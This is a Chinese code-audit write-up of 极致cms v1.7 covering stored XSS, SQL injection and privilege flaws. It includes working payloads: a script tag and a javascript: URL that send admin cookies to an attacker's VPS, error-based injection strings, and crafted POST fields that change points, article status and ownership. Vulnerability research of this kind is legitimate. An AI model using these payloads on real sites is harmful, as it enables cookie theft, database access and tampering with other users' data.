本文首发于先知社区——极致cms v1.7的一次审计,转载时请标明出处
前言
记一次极致cms v1.7的一次比较全面的审计(除了插件部分,我觉得应该审计的差不多了),大佬们轻喷。
其实插件部分已经被爱吃猫的闲鱼师傅审计发到先知上了
文章地址:某cms代码审计引发的思考
细心的朋友读完我这篇文章应该就能发现其实是同一个cms
网站目录结构
1 | . |
网站的一些公共函数
由于下面的漏洞需要频繁的用到这个函数,所以我就单独拿出来先讲解一下。
frparam()
/FrPHP/lib/Controller.php
1 | // 获取URL参数值 |
第28行,返回值进行了一些处理,继续回溯跟进,format_param
方法如下:
/FrPHP/common/Functions.php
1 | /** |
这个函数用来处理数据,只会对数据进行一些简单的过滤,具体的就在上面的switch
语句中
存储型xss
第一处存储型xss(只能打管理员cookie)
/Home/c/MessageController.php
中的index方法
1 | function index(){ |
这里第20行$w['ip'] = GetIP();
,然后我们回溯,去找到GetIP()
函数
/FrPHP/common/Functions.php
1 | function GetIP(){ |
这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']
进行过滤,我们只需要在http头中传入CDN-SRC-IP
字段即可
我们可以本地新建一个test.php
对该函数进行输出,是可以传入任意字符的
1 |
|
然后我们跟进,找到view模版
/A/t/tpl/message-details.html
大约在文件的第86到94行,核心代码如下
1 | ...... |
然后我们看到第9行<input type="text" id="ip" value="{$data['ip']}" name="ip"
autocomplete="off" class="layui-input">
,这里是可以直接xss的
payload:
1 | "><script src="你的vps-ip/4.js"></script> |
4.js内容如下
1 | var image=new Image(); |
然后我们提交留言
然后在vps上监听10006端口,当管理员点击编辑的时候,就会触发xss
这里的一个弊端,ip并没有显示在外面,很可惜,所以必须要诱导管理员点编辑才可以触发
第二处存储型xss(只能打管理员cookie)
/Home/c/UserController.php
中release()
方法的大约第1066行开始,这里的截取了部分关键代码,如下:
1 | switch($w['molds']){ |
因为上面我们已经介绍过了frparam
函数,所以这里不再重复
第22行$w['litpic'] = $this->frparam('litpic',1);
因为我本地并没有配置get_magic_quotes_gpc
,所以这里只是对输入的内容进行了htmlspecialchars
和addslashes
处理,然后我们再看最后的落点,也就是在/A/t/tpl/article-list.html
模版这里进行填充数据
/A/t/tpl/article-list.html
关键代码大约在文件的第147行至第153行,如下:
1 | <script type="text/html" id="litpic"> |
在上述关键代码的第5行就是填充的数据
所以我们构造payload:
1 | javascript:window.location.href='你的vps-ip?'%2Bdocument.cookie |
然后我们只需要发布一篇新文章,然后修改litpic
字段即可
然后在后台网站管理——内容列表中
当管理员点开这个缩略图的时候,就可以得到管理员的cookie
第三处存储型xss(只能打管理员cookie)
在/Home/c/UserController.php
中的userinfo()
方法,大约第129行,关键代码如下:
1 | function userinfo(){ |
在上述代码的第11行,同样也是因为缩略图的问题,被加载在了/A/t/tpl/member-list.html
中的第115行
1 | ,cols: [[ //表头 |
这里也是可以打cookie的,跟上述一样,为了演示方便就选择了弹窗
sql注入
第一处sql注入
/Home/c/MessageController.php
中的index方法
1 | function index(){ |
这里第20行$w['ip'] = GetIP();
,然后我们回溯,去找到GetIP()
函数
/FrPHP/common/Functions.php
1 | function GetIP(){ |
这里第5行并没有对$_SERVER['HTTP_CDN_SRC_IP']
进行过滤,我们只需要在http头中传入CDN-SRC-IP
字段即可
我们可以本地对该函数进行输出,是可以传入任意字符的,上面的xss漏洞处已经做过演示了,这里就不再重复赘述了。
然后我们继续跟进,在/Home/c/MessageController.php
中的第76行$res = M('message')->add($w);
,这个add
方法是Frphp
框架的一个插入数据表的方法
/FrPHP/lib/Model.php
中的add方法
1 | // 新增数据 |
显然,第10行的$value
我们可控(前面的ip可控),而且这里也并没有对插入数据表的数据进行过滤,所以这里存在sql注入,这里可以直接进行报错注入
查询当前用户payload:
1 | 2' and extractvalue(0x0a,concat(0x0a,(select user()))) and '1 |
第二处sql注入
/Home/c/UserController.php
中的release
方法中的关键代码如下:
1 | //文章发布和修改 |
上述代码第7行$data = $this->frparam()
,frparam()
方法前面已经提过了,这里就不再累赘重复了
这里是用来接收值的,如果是post传输的,就接收所有post的值,并且不进行过滤。
然后第11行代码$w['tid'] = $this->frparam('tid');
,这里会接收参数名为tid
的值,并且会进行return (int)$value;
处理,这样传入1'
就不行了,但是没关系,我们接着看第21行$w = get_fields_data($data,$w['molds']);
,我们回溯一下get_fields_data()
方法
/Conf/Functions.php
1 | function get_fields_data($data,$molds,$isadmin=1){ |
因为我们不是admin,所以我们会执行第6行代码$fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
这里我post传入参数,简单的debug了一下,如下
所以上述代码$fields['field']
是不存在的,所以只会执行第51行代码$data[$v['field']] = '';
,所以第56行返回的代码就是$data = $this->frparam();
,这也就解释了为什么中间对tip
进行过滤,但为什么最后依然还是存在注入,这应该是个严重的开发失误。
然后我们接着回溯update()
方法
/FrPHP/lib/Model.php
1 | // 修改数据 |
/Home/c/UserController.php
关键代码中的第25-26行,虽然25行if($this->frparam('id'))
对id
进行了过滤,但是第26行$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
这里update
插入的是最原始的数据,,=也就是$w = get_fields_data($data,$w['molds']);
。虽然$conditions
也就是条件被过滤了,但是不影响我们注入。
所以这里的id
,molds
,tid
三个字段都存在sql注入
第三处sql注入
/Home/c/UserController.php
中的userinfo()
方法中的关键代码如下:
1 | function userinfo(){ |
这里我们对比一下我post抓包后的字段,我们发现有3个字段没有进行过滤,分别是province
、city
、address
这三个字段
然后第17行$re = M('member')->update(['id'=>$this->member['id']],$w);
所有字段依旧被update
更新了,所以这里就存在了注入,还是一个报错注入,如果不回显报错也没有关系的,这里存在时间盲注,也是可以注入的
payload:
1 | 1' or (updatexml(1,concat(0x7e,(select user()),0x7e),1)) or ' |
province
字段演示
city
字段演示
address
字段演示
逻辑漏洞
第一处逻辑漏洞——任意订单查看
首先注册两个账号,账号A和账号B
然后用账号B购买一些商品,产生交易记录和订单号码
然后在A用户这里我的钱包——交易记录可以看到其他人的交易订单
而且这里的订单号明显是更具时间戳进行命名的,我用其他A账户也可以直接访问到B账户的一些订单信息
然后我们来分析为什么
/Home/c/UserController.php
1 | //购买列表 |
可以看到第15行,这里在查询数据的时候,并没有查询某个特定用户,而是把所有人的购买记录都查询出来了,这样的话其他人都可以看到你的订单,你也可以看到其他人的订单。这里其实是开发者的问题,由于开发的失误才会导致这个问题。
第二处逻辑漏洞——越权修改用户自己的积分
这里我们先演示一下结果,然后再去分析
首先我们注册一个账号,然后在后台看他的积分,是1积分
然后我们登录这个账号,然后在资料账户这里点提交抓包
然后在post字段中添加jifen=1234
,发包
然后去后台看积分,发现积分已经被修改成了1234
接下来我们来分析一下为什么会这样
上面的用户资料账户的代码在/Home/c/UserController.php
中的userinfo
方法里
1 | function userinfo(){ |
然后我们再来看admin那里修改用户积分的代码
/A/c/MemberController.php
1 | function memberedit(){ |
admin处修改的post表单如下:
1 | POST /admin.php/Member/memberedit.html HTTP/1.1 |
也就是说这里表单会传递一个jifen
字段提交给后端,然后update写入到数据库中,但是并没有判断是用户传递的还是admin传递的,这就造成了用户在修改资料的时候,直接提交一个jifen
字段即可
所以我们就在用修改用户资料的地方直接传入一个参数jifen=1234
就可以修改积分了
1 | POST /user/userinfo.html HTTP/1.1 |
第三处逻辑漏洞——越权修改自己的文章状态
这里我们先演示一下结果,然后再去分析
首先我们注册一个账号,然后点发布文章,随便发布一篇文章
然后在后台看到记录
然后我们在提交文章的地方添加字段ishot=1
然后就可以看到文章是热属性了,虽然文章还没有被审核
跟第一个越权漏洞类似,该漏洞也是因为在用户端没有过滤参数所导致的,这样可以让用户进行恶意传递参数来导致文章的状态被修改
/A/c/ArticleController.php
1 | ...... |
这里是三种状态,ishot=1
代表热,istuijian=1
代表荐,istop=1
代表顶,如果什么都没有那就是无
所以只需要在用户发布文章的地方添加字段ishot=1
或者istuijian=1
或者istop=1
即可
1 | POST /user/release.html HTTP/1.1 |
第四处逻辑漏洞——越权修改别人已发表的文章为未审核
/Home/c/UserController.php
中的release()
方法
1 | //文章发布和修改 |
上述代码第10行至第21行,if($this->frparam('id'))
这里对id并没有判断到底是改用户的文章还是其他用户对文章,导致可以对任意用户对文章进行修改,即把他们的文章变成自己的文章
下面是演示结果:
这里首先需要你发表过文章,不需要审核,只需要发布即可。然后进入编辑模式,点提交,抓包
1 | POST /user/release.html HTTP/1.1 |
修改上面的post参数中的id数值,把id改成任意数字,如果文章存在,就会从那个用户中消失,然后变成了你的文章,比如我们把id改成13
原本这篇文章是正常的,且我的投稿中并没有这篇文章
然后发包
后台刷新即可看到这篇文章的状态
然后我们本地就多了一篇文章
总结
- 这个cms比较有意思的一点就是获取ip的函数
GetIP()
,这里可以用http头CDN-SRC-IP
绕过导致可以触发存储型xss和sql注入 - 其实这里sql注入可以往数据库插入文件的白名单后缀,比如php,这样就可以直接上传php文件(不知道为什么开发者要把文件后缀写到数据库中)
- 这里的xss漏洞是比较泛滥的,而且函数中是有针对xss过滤的函数,不知道为什么开发者没有使用
- 这里的逻辑漏洞也是很泛滥的,主要挖掘的思路就是去测试功能点,然后去看功能点的代码,这样基本上就不会有遗漏的漏洞